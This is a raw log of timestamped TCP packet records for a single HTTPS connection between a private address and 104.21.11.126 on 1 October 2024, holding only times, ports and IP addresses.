Oct 1, 2024 15:08:25.780642033 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.780647993 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.780705929 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.783227921 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.783309937 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.783638954 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.783724070 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.783972979 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.784044981 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785012007 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785056114 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785082102 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785087109 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785100937 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785165071 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785233021 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785279989 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785291910 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785296917 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785315990 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785330057 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785455942 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785461903 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785517931 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785779953 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785847902 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785850048 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785856962 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785901070 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785921097 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785926104 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785936117 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.785964966 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785990953 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.785999060 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.786065102 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.786623001 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.786662102 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.786698103 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.786705017 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.786746979 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.809362888 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809426069 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809459925 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.809467077 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809510946 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809525967 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.809576035 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809603930 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.809608936 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809636116 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.809643984 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.809727907 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.809732914 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832343102 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832385063 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832542896 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.832542896 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.832550049 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832607031 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832680941 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.832688093 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832736969 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.832792997 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832884073 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.832926989 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.832979918 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833010912 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833015919 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833121061 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833379984 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833421946 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833456993 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833456993 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833465099 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833472967 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833513975 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833533049 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833537102 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833554029 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833573103 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833637953 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.833642960 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.833993912 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834045887 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834059954 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.834064960 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834093094 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834126949 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.834126949 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.834130049 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834141016 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834224939 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.834794998 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834862947 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.834979057 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.834995031 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.835031033 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.835062027 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.835072041 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.835088968 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.835520029 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.835594893 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.835602045 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.835871935 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.901896000 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.901945114 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.901979923 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902045012 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.902055025 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902064085 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902067900 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.902117968 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.902123928 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902287960 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902348995 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.902354002 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902409077 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902461052 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.902479887 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.902548075 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.924694061 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.924746037 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.924827099 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.924835920 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.924983978 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.924983978 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925206900 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925254107 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925297022 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925302982 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925328970 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925359964 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925506115 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925539970 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925576925 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925584078 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925633907 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925724983 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925780058 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925792933 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925843000 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925894976 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925939083 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.925971031 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.925976038 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.926016092 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.926275015 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.926338911 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.926345110 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.926399946 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.926764011 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.926781893 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.926856041 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.926862001 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.926978111 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994275093 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994314909 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994487047 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994498014 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994505882 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994642019 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994666100 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994666100 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994673967 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994687080 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994707108 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994724989 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994848967 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994888067 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994918108 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.994925976 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.994970083 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.017285109 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.017327070 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.017416954 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.017416954 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.017426014 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.017738104 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.017770052 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.017832994 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.017848015 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.017895937 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.018332958 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.018348932 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.018445015 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.018452883 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.018663883 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.018690109 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.018744946 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.018752098 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.018769979 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.018990040 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019009113 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019042015 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019073009 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.019089937 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019160986 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.019304991 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019341946 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019390106 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.019397020 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.019459963 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.060961008 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.060998917 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.061079025 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.061088085 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.061144114 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.061144114 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.086858034 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.086893082 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.086947918 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.086987972 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.086988926 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087001085 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087074995 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087105989 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087224007 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087264061 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087281942 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087297916 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087316990 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087322950 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087337971 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087342978 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087399960 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087538004 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087591887 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087593079 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087608099 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.087656021 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.087656021 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.109649897 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.109776974 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.109843969 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.109894991 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.109935045 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.109941959 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.109960079 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.110683918 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.110699892 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.110800982 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.110809088 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111036062 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111103058 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.111110926 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111120939 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111202955 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.111287117 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111350060 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.111356974 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111617088 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111689091 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111690044 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.111699104 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111763954 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.111776114 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111856937 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.111876965 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.111996889 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.112173080 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.112319946 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.153283119 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.153341055 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.153428078 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.153438091 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.153486013 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.179464102 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179554939 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179584980 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.179593086 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179601908 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179661989 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179682016 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.179682016 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.179691076 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179707050 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.179729939 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.179933071 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.179948092 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.180011988 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.180018902 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.180170059 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.180286884 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.180321932 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.180365086 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.180372000 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.180391073 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.180414915 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.202579021 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.202595949 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.202673912 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.202696085 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.202714920 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.202783108 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.203485966 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.203528881 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.203604937 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.203613043 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.203668118 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204066038 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204102039 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204113007 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204150915 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204155922 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204175949 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204262972 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204318047 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204324007 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204436064 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204453945 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204502106 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204519987 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204583883 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204730988 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204771042 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204813004 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204813004 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.204817057 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204829931 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.204904079 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.247123003 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.247279882 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.271991014 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272025108 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272121906 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272247076 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.272259951 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272347927 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.272347927 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.272443056 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272469997 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272526026 CEST	49763	443	192.168.2.16	104.21.11.126
